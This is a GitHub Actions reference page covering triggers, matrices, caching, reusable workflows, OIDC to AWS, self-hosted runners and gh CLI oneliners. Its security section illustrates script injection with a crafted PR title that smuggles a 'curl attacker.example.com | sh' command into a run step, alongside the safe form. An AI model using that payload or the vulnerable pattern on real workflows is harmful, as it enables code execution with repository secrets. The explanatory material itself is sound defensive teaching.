GitHub Actions
Write GitHub Actions workflows that are fast, least-privilege and hard to exploit: triggers, matrices, caching, reusable workflows, OIDC and debugging failed runs with gh.
On this page
Cheatsheet#
| Task | Command |
|---|---|
| Recent runs | gh run list --limit 20 |
| Runs of one workflow | gh run list --workflow ci.yml --branch main |
| Watch the run for the current commit | gh run watch --exit-status |
| Why did it fail | gh run view <run-id> --log-failed |
| Full log of one job | gh run view --job <job-id> --log |
| Re-run only failed jobs | gh run rerun <run-id> --failed |
| Re-run with debug logging | gh run rerun <run-id> --debug |
| Cancel | gh run cancel <run-id> |
| Download artifacts | gh run download <run-id> -n dist |
Trigger a workflow_dispatch workflow | gh workflow run deploy.yml -f env=staging --ref main |
| List workflows and their state | gh workflow list --all |
| Disable a workflow | gh workflow disable ci.yml |
| Set a repository secret | gh secret set API_TOKEN < token.txt |
| Set an environment secret | gh secret set API_TOKEN --env production |
| Set a plain variable | gh variable set REGION --body ap-southeast-2 |
| Lint workflows locally | actionlint .github/workflows/*.yml |
| Validate an expression | echo '${{ github.ref }}' in a run: step, read the log |
| Print the event payload | cat "$GITHUB_EVENT_PATH" | jq . |
| Step output | echo "sha=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT" |
| Environment variable for later steps | echo "GOFLAGS=-mod=mod" >> "$GITHUB_ENV" |
Add to PATH for later steps | echo "$HOME/.local/bin" >> "$GITHUB_PATH" |
| Job summary | echo '## Result' >> "$GITHUB_STEP_SUMMARY" |
| Mask a value in logs | echo "::add-mask::$value" |
Syntax below is GitHub.com as of September 2026 and gh 2.x. Action majors are the current ones at review time; check each action’s releases before copying. Reference: the workflow syntax and contexts pages.
How a run happens#
A workflow is a YAML file under .github/workflows/. An event on the repository (push, pull request, schedule, manual dispatch, another workflow completing) matches the on: block of every workflow file on the ref that event points at, and each match creates a run. A run is a set of jobs; jobs run in parallel unless needs: orders them; each job is a fresh virtual machine or container running steps in order. A step is either run: (a shell script) or uses: (an action). Steps in one job share a filesystem and the environment written to $GITHUB_ENV; jobs share nothing except outputs, artifacts and caches.
The important consequences: the workflow file that runs is the one on the triggering ref (for pull_request, the merge commit of the PR; for pull_request_target, the base branch), and every job starts from a clean machine, so anything one job needs from another must be passed explicitly.
name: ci
on:
push:
branches: [main]
tags: ["v*"]
pull_request:
permissions:
contents: read # workflow-wide default for GITHUB_TOKEN
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 15 # default is 360; always set one
steps:
- uses: actions/checkout@v7
- uses: actions/setup-go@v7
with:
go-version-file: go.mod
- run: go test ./...Triggers and filters#
on:
push:
branches: [main, "release/**"]
paths: ["**.go", "go.mod", "go.sum", ".github/workflows/ci.yml"]
tags-ignore: ["nightly-*"]
pull_request:
types: [opened, synchronize, reopened, ready_for_review] # default: opened, synchronize, reopened
paths-ignore: ["docs/**", "**.md"]
schedule:
- cron: "17 3 * * 1-5" # UTC; avoid :00 to dodge the queue at the top of the hour
workflow_dispatch:
inputs:
env:
type: choice
options: [staging, production]
required: true
dry_run:
type: boolean
default: true
workflow_call: # makes this a reusable workflow
inputs:
go-version: { type: string, default: "stable" }
secrets:
registry-token: { required: true }
workflow_run: # runs after another workflow finishes, on the default branch only
workflows: [ci]
types: [completed]
release:
types: [published]branches and paths filters must both match. A workflow with a paths filter that does not match is skipped entirely, which breaks required status checks that expect it; use a separate lightweight job with if: instead when a check must always report. schedule runs only on the default branch and is disabled after 60 days without repository activity on public repositories.
Pushing a tag does not trigger push: branches:; list tags: as well. A push made with GITHUB_TOKEN never triggers another workflow, by design, to prevent loops; use a GitHub App token or a deploy key when a bot commit must trigger CI.
Jobs, steps and matrices#
jobs:
build:
runs-on: ubuntu-latest
strategy:
fail-fast: false # keep the other cells running when one fails
max-parallel: 4
matrix:
os: [ubuntu-latest, macos-latest]
go: ["1.26", "1.27"]
include:
- os: ubuntu-latest
go: "1.27"
coverage: true # extra key on one cell only
exclude:
- os: macos-latest
go: "1.26"
steps:
- uses: actions/checkout@v7
- uses: actions/setup-go@v7
with: { go-version: "${{ matrix.go }}" }
- run: go test -race ./...
- if: matrix.coverage
run: go test -coverprofile=cover.out ./...
deploy:
needs: [build] # waits for every matrix cell
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
runs-on: ubuntu-latest
environment: production
steps:
- run: ./deploy.shneeds makes outputs available as needs.build.outputs.<name> and skips the dependant when a dependency fails or is skipped. A job with if: always() still runs after failures; if: ${{ !cancelled() }} is the usual choice for reporting steps because always() also runs on cancellation.
Step outputs come from $GITHUB_OUTPUT; job outputs must be declared:
jobs:
meta:
runs-on: ubuntu-latest
outputs:
version: ${{ steps.v.outputs.version }}
steps:
- id: v
run: echo "version=$(git describe --tags --always)" >> "$GITHUB_OUTPUT"
release:
needs: meta
runs-on: ubuntu-latest
steps:
- run: echo "releasing ${{ needs.meta.outputs.version }}"run: on Linux and macOS uses bash --noprofile --norc -eo pipefail {0} when Bash is available, so a failing command or pipeline fails the step without an explicit set -e. Set shell: bash explicitly when the runner might be Windows or when relying on that behaviour in a container job. Multi-line scripts use run: |.
Expressions and contexts#
${{ }} is evaluated before the step runs; the result is substituted as text. Functions: contains(), startsWith(), endsWith(), format(), join(), toJSON(), fromJSON(), hashFiles(), and the status functions success(), failure(), cancelled(), always().
| Context | Holds | Example |
|---|---|---|
github | Event, ref, SHA, actor, repository | github.event.pull_request.number, github.ref_name |
env | Variables from env: blocks and $GITHUB_ENV | env.GOFLAGS |
vars | Repository, environment and organisation variables | vars.REGION |
secrets | Secrets, plus secrets.GITHUB_TOKEN | secrets.API_TOKEN |
steps | Outputs and outcomes of earlier steps in the job | steps.v.outputs.version, steps.test.outcome |
needs | Outputs and results of dependency jobs | needs.build.result |
matrix | The current cell | matrix.os |
runner | os, arch, temp, tool_cache | runner.temp |
inputs | workflow_dispatch and workflow_call inputs | inputs.env |
job | status, service container details | job.services.postgres.ports[5432] |
if: conditions are expressions already, so if: github.event_name == 'push' needs no braces. hashFiles('**/go.sum') is the standard cache key input. fromJSON() turns a string into a matrix:
jobs:
plan:
runs-on: ubuntu-latest
outputs:
targets: ${{ steps.t.outputs.targets }}
steps:
- id: t
run: echo 'targets=["api","worker","cron"]' >> "$GITHUB_OUTPUT"
build:
needs: plan
strategy:
matrix:
target: ${{ fromJSON(needs.plan.outputs.targets) }}
runs-on: ubuntu-latest
steps:
- run: make build TARGET=${{ matrix.target }}Secrets, permissions and GITHUB_TOKEN#
GITHUB_TOKEN is minted per job and expires when the job ends. Its default scope is set per repository or organisation; new repositories default to read-only. Declare permissions: at the top of every workflow and widen per job. Any permission not listed in a permissions: block is set to none.
permissions: {} # nothing at all by default
jobs:
release:
permissions:
contents: write # create the release
packages: write # push to ghcr.io
id-token: write # request an OIDC token
attestations: write # build provenanceSecrets are masked in logs by exact string match. A secret transformed (base64, split, JSON-encoded) is not masked; use ::add-mask:: on the derived value. Secrets are not passed to workflows triggered from forks on pull_request, and secrets: inherit is required for a reusable workflow to see the caller’s secrets. Environment secrets are only readable by jobs that declare environment:.
Secrets never reach if: conditions reliably, because an unset secret is an empty string. Check ${{ secrets.API_TOKEN != '' }} inside a run: step’s environment instead.
gh secret set API_TOKEN --body "$API_TOKEN" # repository secret
gh secret set API_TOKEN --env production --body "$API_TOKEN"
gh secret set DEPLOY_KEY --org my-org --repos my-app,my-lib < key.pem
gh secret list; gh variable listCaching and artifacts#
Caches are keyed blobs shared across runs, scoped to the branch and its base branch, with a 10 GB per-repository limit and eviction after 7 days unused. Artifacts belong to one run and hold outputs to download or pass between jobs.
- uses: actions/setup-go@v7
with:
go-version-file: go.mod
cache: true # caches the module and build cache keyed on go.sum
- uses: actions/cache@v6
with:
path: |
~/.cache/golangci-lint
key: lint-${{ runner.os }}-${{ hashFiles('.golangci.yml') }}
restore-keys: lint-${{ runner.os }}- # prefix match when the exact key misses
- uses: actions/cache/restore@v6 # read-only half, for jobs that must not write
with: { path: node_modules, key: npm-${{ hashFiles('package-lock.json') }} }A cache entry is immutable: once a key exists it is never updated, so include the hash of whatever defines the contents in the key. restore-keys returns the newest entry with that prefix and the step then saves under the exact key. Caches written on a PR branch are visible only to that branch, which is why the first run after merge is cold; a scheduled job on main that warms the cache fixes it.
- uses: actions/upload-artifact@v7
with:
name: dist-${{ matrix.os }} # names must be unique per run in v4+
path: dist/
retention-days: 5
if-no-files-found: error
- uses: actions/download-artifact@v8
with:
pattern: dist-*
merge-multiple: true
path: dist/Artifacts are zipped; permissions and symlinks are lost. Upload a tarball when file modes matter. gh run download <run-id> fetches them locally.
Reusable workflows and composite actions#
A reusable workflow is a whole workflow with on: workflow_call, called as a job. A composite action is a bundle of steps, called as a step. Use a reusable workflow to standardise jobs (runner, permissions, environment); use a composite action to deduplicate steps inside a job.
# .github/workflows/go-test.yml, the reusable workflow
on:
workflow_call:
inputs:
go-version: { type: string, default: stable }
outputs:
coverage: { value: "${{ jobs.test.outputs.coverage }}" }
permissions: { contents: read }
jobs:
test:
runs-on: ubuntu-latest
outputs: { coverage: "${{ steps.cov.outputs.pct }}" }
steps:
- uses: actions/checkout@v7
- uses: actions/setup-go@v7
with: { go-version: "${{ inputs.go-version }}" }
- run: go test -coverprofile=c.out ./...
- id: cov
run: echo "pct=$(go tool cover -func=c.out | awk '/^total/ {print $3}')" >> "$GITHUB_OUTPUT"# caller
jobs:
test:
uses: my-org/workflows/.github/workflows/go-test.yml@main # or @<sha>
with: { go-version: "1.27" }
secrets: inheritA caller can nest reusable workflows four levels deep and cannot pass env: into them. The called workflow sees the caller’s github context, so github.repository is the caller, not the workflow’s home.
# .github/actions/setup/action.yml, a composite action
name: setup
inputs:
go-version: { default: stable }
runs:
using: composite
steps:
- uses: actions/setup-go@v7
with: { go-version: "${{ inputs.go-version }}" }
- run: go install github.com/golangci/golangci-lint/v2/cmd/golangci-lint@latest
shell: bash # required on every run: step in a compositeCalled with uses: ./.github/actions/setup after checkout. Composite steps cannot use if: on secrets and cannot declare permissions.
OIDC to AWS#
The runner can request a short-lived JWT signed by GitHub for any job with id-token: write. AWS trusts that token through an IAM OIDC provider and a role whose trust policy restricts sub to a repository, branch or environment. No long-lived keys exist anywhere.
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
steps:
- uses: aws-actions/configure-aws-credentials@v6
with:
role-to-assume: arn:aws:iam::123456789012:role/github-my-app-deploy
role-session-name: gh-${{ github.run_id }}
aws-region: ap-southeast-2
- run: aws sts get-caller-identityThe trust policy on the role, in HCL for Terraform:
data "aws_iam_policy_document" "github_trust" {
statement {
actions = ["sts:AssumeRoleWithWebIdentity"]
principals {
type = "Federated"
identifiers = [aws_iam_openid_connect_provider.github.arn]
}
condition {
test = "StringEquals"
variable = "token.actions.githubusercontent.com:aud"
values = ["sts.amazonaws.com"]
}
condition {
test = "StringEquals"
variable = "token.actions.githubusercontent.com:sub"
values = ["repo:my-org/my-app:environment:production"] # not repo:my-org/*:*
}
}
}The sub claim is repo:<owner>/<repo>:ref:refs/heads/<branch> for branch pushes, repo:<owner>/<repo>:environment:<name> when the job declares an environment, and repo:<owner>/<repo>:pull_request for PRs. A wildcard on the repository lets any repository in the organisation assume the role. See AWS for the CLI side.
Concurrency and environments#
concurrency:
group: deploy-${{ inputs.env }}
cancel-in-progress: false # queue deploys; never cancel one half wayOne group runs one job at a time and, by default, keeps only one pending run: a third run replaces the queued second one. queue: max keeps up to 100 pending runs in order and cannot be combined with cancel-in-progress: true. PR workflows normally use cancel-in-progress: true keyed on github.ref so a new push cancels the stale run.
Environments add required reviewers, wait timers, branch and tag restrictions, and their own secrets and variables. A job with environment: production pauses for approval before any step runs and its OIDC sub claim carries the environment name, which is what the AWS trust policy above checks.
environment:
name: production
url: https://my-app.example.com # shown on the deploymentgh CLI for runs and logs#
gh run list --workflow ci.yml --status failure --limit 10
gh run list --json databaseId,conclusion,headBranch,event --jq '.[] | select(.conclusion=="failure") | .databaseId'
gh run view 123456789 # jobs and their status
gh run view 123456789 --log-failed # only the steps that failed
gh run view 123456789 --job 987654321 --log # one job, every line
gh run view 123456789 --log | grep -n '##\[error\]'
gh run watch 123456789 --exit-status # block, exit non-zero on failure
gh run rerun 123456789 --failed
gh run download 123456789 --dir ./artifacts
gh workflow run deploy.yml --ref main -f env=production -f dry_run=false
gh api repos/{owner}/{repo}/actions/runs/123456789/timingRunner and step debug logs need the ACTIONS_STEP_DEBUG and ACTIONS_RUNNER_DEBUG secrets or variables set to true, or gh run rerun --debug, which sets them for one run.
Self-hosted runners#
A self-hosted runner is a process that polls GitHub for jobs matching its labels. It keeps state between jobs unless it is ephemeral, so anything a job leaves on disk, including credentials in ~/.docker/config.json or a cloned repository, is visible to the next job. Never attach a persistent self-hosted runner to a public repository; a PR from a fork can run code on it.
runs-on: [self-hosted, linux, x64, gpu] # every label must match
runs-on:
group: build-large # runner group, org-level access control
labels: [linux]./config.sh --url https://github.com/my-org --token "$RUNNER_TOKEN" --ephemeral --labels linux,x64 --unattended
./svc.sh install && ./svc.sh start # systemd unit for the runner
gh api orgs/my-org/actions/runners --jq '.runners[] | "\(.name)\t\(.status)\t\(.busy)"'--ephemeral deregisters the runner after one job; pair it with an autoscaler (actions-runner-controller on Kubernetes, or a VM pool) so each job lands on a fresh machine. Runner tokens from config.sh expire in an hour and only register; the runner then authenticates with a generated key.
Example workflows#
Go test and release#
name: go
on:
push:
branches: [main]
tags: ["v*"]
pull_request:
permissions: { contents: read }
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@v7
- uses: actions/setup-go@v7
with: { go-version-file: go.mod, cache: true }
- run: go vet ./...
- run: go test -race -coverprofile=cover.out ./...
- uses: golangci/golangci-lint-action@v9
with: { version: latest }
release:
needs: test
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 30
permissions:
contents: write # upload release assets
id-token: write # cosign keyless signing
steps:
- uses: actions/checkout@v7
with: { fetch-depth: 0 } # goreleaser needs the tag history for the changelog
- uses: actions/setup-go@v7
with: { go-version-file: go.mod, cache: true }
- uses: goreleaser/goreleaser-action@v7
with:
distribution: goreleaser
version: "~> v2"
args: release --clean
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}Container build and push#
name: image
on:
push:
branches: [main]
tags: ["v*"]
pull_request:
permissions: { contents: read }
env:
IMAGE: ghcr.io/${{ github.repository }}
jobs:
image:
runs-on: ubuntu-latest
timeout-minutes: 30
permissions:
contents: read
packages: write
id-token: write
attestations: write
steps:
- uses: actions/checkout@v7
- uses: docker/setup-buildx-action@v4
- uses: docker/login-action@v4
if: github.event_name != 'pull_request'
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- id: meta
uses: docker/metadata-action@v6
with:
images: ${{ env.IMAGE }}
tags: |
type=ref,event=branch
type=ref,event=pr
type=semver,pattern={{version}}
type=sha
- id: build
uses: docker/build-push-action@v7
with:
context: .
platforms: linux/amd64,linux/arm64
push: ${{ github.event_name != 'pull_request' }} # PRs build only
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
cache-from: type=gha
cache-to: type=gha,mode=max
provenance: mode=max
- uses: actions/attest-build-provenance@v4
if: github.event_name != 'pull_request'
with:
subject-name: ${{ env.IMAGE }}
subject-digest: ${{ steps.build.outputs.digest }}
push-to-registry: truetype=gha stores BuildKit layers in the Actions cache, keyed by the Dockerfile stage. Deploy by digest (${{ steps.build.outputs.digest }}), not by the sha- tag, so the manifest that was tested is the one that runs. See Docker for the Containerfile side.
Hugo deploy to GitHub Pages#
name: pages
on:
push: { branches: [main] }
workflow_dispatch:
permissions: { contents: read }
concurrency: { group: pages, cancel-in-progress: false }
jobs:
build:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
with: { submodules: recursive, fetch-depth: 0 } # themes as submodules; history for lastmod
- uses: peaceiris/actions-hugo@v3
with: { hugo-version: latest, extended: true }
- id: pages
uses: actions/configure-pages@v6
- run: hugo --gc --minify --baseURL "${{ steps.pages.outputs.base_url }}/"
env: { HUGO_ENVIRONMENT: production }
- uses: actions/upload-pages-artifact@v5
with: { path: ./public }
deploy:
needs: build
runs-on: ubuntu-latest
permissions:
pages: write
id-token: write
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
steps:
- id: deployment
uses: actions/deploy-pages@v5Pages must be set to “GitHub Actions” as the source in repository settings, or deploy-pages fails with a 404 on the deployment API.
Security pitfalls#
pull_request_target
pull_request_target runs in the context of the base branch with write permissions and secrets, and then people check out github.event.pull_request.head.sha to “test the PR”. That runs the fork’s code with the repository’s secrets. Use pull_request for anything that executes contributor code. If pull_request_target is unavoidable (labelling, commenting), never check out or build the head ref in it, and set permissions: to the minimum.
Script injection: an expression inside run: is substituted as text before the shell parses it. Any field an outsider controls (PR title, branch name, commit message, issue body, review comment) is a command injection vector.
- run: echo "Title: ${{ github.event.pull_request.title }}" # title `"; curl attacker.example.com | sh; echo "` runs
- run: echo "Title: $TITLE" # safe: the value never touches the shell parser
env:
TITLE: ${{ github.event.pull_request.title }}Pin third-party actions to a full commit SHA with the tag in a comment; tags can be moved. Dependabot or Renovate keep the SHA and comment in step.
- uses: actions/checkout@<full-40-character-sha> # v7.0.1Resolve the SHA for a tag with gh api repos/actions/checkout/commits/v7.0.1 --jq .sha.
Other rules that matter in practice: restrict which actions may run at the organisation level (verified creators plus an allow-list), require approval for first-time contributors, never echo a secret through a transform, do not use GITHUB_TOKEN with write-all, and do not run curl | sh from a URL you do not control. Artifacts are downloadable by anyone with read access to the repository, so an artifact containing a .env or a kubeconfig is a leak. Cache entries can be poisoned from a PR branch only for that branch, but a compromised default-branch cache is trusted by every branch; restore caches by exact key in release jobs.
Oneliners#
# IDs of the failed runs on main in the last day
gh run list --branch main --status failure --created "$(date -u -d '1 day ago' +%F)" --json databaseId --jq '.[].databaseId'
# Re-run every failed run of a workflow
gh run list --workflow ci.yml --status failure --json databaseId --jq '.[].databaseId' | xargs -n1 gh run rerun --failed
# Delete runs older than 30 days (destructive; removes logs and artifacts)
gh run list --limit 500 --json databaseId,createdAt --jq '.[] | select(.createdAt < (now - 30*86400 | todate)) | .databaseId' | xargs -n1 gh run delete
# Slowest jobs in the last 50 runs
gh run list --limit 50 --json databaseId --jq '.[].databaseId' | xargs -I{} gh api repos/{owner}/{repo}/actions/runs/{}/jobs --jq '.jobs[] | "\(.name)\t\((.completed_at|fromdate) - (.started_at|fromdate))s"' | sort -t$'\t' -k2 -nr | head
# Every action referenced in the repository, with versions
grep -rhoE 'uses: *[^ ]+' .github | sort | uniq -c | sort -rn
# Actions not pinned to a SHA
grep -rnE 'uses: *[^ ]+@(v[0-9]|main|master)' .github/workflows
# Cache usage and the biggest entries
gh cache list --limit 50 --sort size --order desc
# Delete every cache (safe; next run rebuilds)
gh cache delete --all
# Trigger a dispatch workflow and follow it
gh workflow run deploy.yml -f env=staging && sleep 5 && gh run watch "$(gh run list --workflow deploy.yml --limit 1 --json databaseId --jq '.[0].databaseId')" --exit-status
# Workflow file on the default branch, as GitHub sees it
gh api repos/{owner}/{repo}/contents/.github/workflows/ci.yml --jq .content | base64 -d
# Lint every workflow, including shellcheck of run: blocks
actionlint
# Check which OIDC claims a job would present (from a job with id-token: write)
curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Runner load across the organisation
gh api orgs/my-org/actions/runners --paginate --jq '.runners[] | select(.status=="online") | "\(.name)\t\(.busy)"'
# Artifacts of a run with sizes
gh api repos/{owner}/{repo}/actions/runs/123456789/artifacts --jq '.artifacts[] | "\(.name)\t\(.size_in_bytes)"'
# Print the event payload from inside a job
jq . "$GITHUB_EVENT_PATH"
# Job summary table from inside a job
{ echo '| Test | Result |'; echo '| --- | --- |'; echo "| unit | $RESULT |"; } >> "$GITHUB_STEP_SUMMARY"Scripts#
Report workflows whose last run on the default branch failed, for a morning check across an organisation.
#!/usr/bin/env bash
set -euo pipefail
org=${1:?org required}
gh repo list "$org" --limit 200 --no-archived --json nameWithOwner,defaultBranchRef --jq '.[] | "\(.nameWithOwner)\t\(.defaultBranchRef.name)"' |
while IFS=$'\t' read -r repo branch; do
gh run list -R "$repo" --branch "$branch" --limit 20 --json workflowName,conclusion,url,createdAt |
jq -r --arg repo "$repo" '
group_by(.workflowName) | map(sort_by(.createdAt) | last)
| .[] | select(.conclusion == "failure")
| "\($repo)\t\(.workflowName)\t\(.url)"'
doneRotate a secret across every repository that has it, reading the new value from stdin once.
#!/usr/bin/env bash
set -euo pipefail
org=${1:?org required}; name=${2:?secret name required}
value=$(cat) # read once; never on the command line
[[ -n $value ]] || { echo "empty value" >&2; exit 1; }
gh repo list "$org" --limit 500 --no-archived --json nameWithOwner --jq '.[].nameWithOwner' |
while read -r repo; do
if gh secret list -R "$repo" --json name --jq '.[].name' | grep -qx "$name"; then
printf '%s' "$value" | gh secret set "$name" -R "$repo"
printf 'rotated %s in %s\n' "$name" "$repo"
fi
doneFind unpinned or outdated actions in a repository and print the SHA for the tag currently in use.
#!/usr/bin/env bash
set -euo pipefail
grep -rhoE 'uses: *[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+(/[^@ ]+)?@[^ #]+' .github | sed 's/uses: *//' | sort -u |
while IFS=@ read -r action ref; do
repo=${action%%/*}/${action#*/}; repo=${repo%%/*/*} # owner/name, drop any sub-path
if [[ $ref =~ ^[0-9a-f]{40}$ ]]; then continue; fi
sha=$(gh api "repos/$repo/commits/$ref" --jq .sha 2>/dev/null || echo unresolved)
printf '%s@%s\t%s\n' "$action" "$ref" "$sha"
doneTroubleshooting#
| Symptom | Cause | Fix |
|---|---|---|
| Workflow does not trigger | Filter mismatch, workflow file not on the triggering ref, or push made with GITHUB_TOKEN | gh api repos/{owner}/{repo}/actions/workflows to see state; check branches/paths; use an App token for bot pushes |
Resource not accessible by integration | GITHUB_TOKEN lacks the permission, or the event is a fork PR | Add the permission under permissions:; for forks, move the write to a workflow_run job |
| Secret is empty in a step | Fork PR, environment secret without environment:, or reusable workflow without secrets: inherit | gh secret list --env; check github.event.pull_request.head.repo.fork |
The process '/usr/bin/git' failed with exit code 128 | Checkout of a private submodule or another repository without a token | with: { token: ${{ secrets.PAT }} } or a deploy key |
| Cache never hits | Key includes something that changes every run, or the cache was written on another branch | gh cache list; key on hashFiles('**/go.sum'); warm on the default branch |
No space left on device | 14 GB runner disk filled by Docker layers or the Go build cache | docker system prune -af, or rm -rf /usr/share/dotnet /opt/ghc at the start of the job |
| Step passes but should have failed | Shell without pipefail, or continue-on-error | shell: bash (default -eo pipefail), remove continue-on-error, check steps.<id>.outcome |
| Matrix job runs with the wrong value | Numbers such as 1.10 parsed as YAML floats | Quote versions: ["1.10", "1.27"] |
Unable to resolve action, repository not found | Private action, typo, or the organisation’s action allow-list | Check settings under Actions permissions; grant access in the action repository’s settings |
| Deploy job skipped with no error | A needs dependency was skipped, or if: referenced a context that was empty | gh run view --json jobs; use if: ${{ !cancelled() && needs.build.result == 'success' }} |
OIDC Not authorized to perform sts:AssumeRoleWithWebIdentity | Trust policy sub does not match the branch or environment, or id-token: write missing | Decode the token (oneliner above) and compare sub to the policy |
| Job queued for a long time | No online runner with every requested label, or concurrency group full | gh api orgs/my-org/actions/runners; check concurrency |
| Logs missing the reason for a failure | Error printed by a nested tool without ::error:: | gh run rerun --debug, then gh run view --log | grep -n '##\[debug\]' |
Error: Process completed with exit code 137 | Runner out of memory (7 GB on the standard Linux runner) | Reduce parallelism (go test -p 2), or use a larger runner |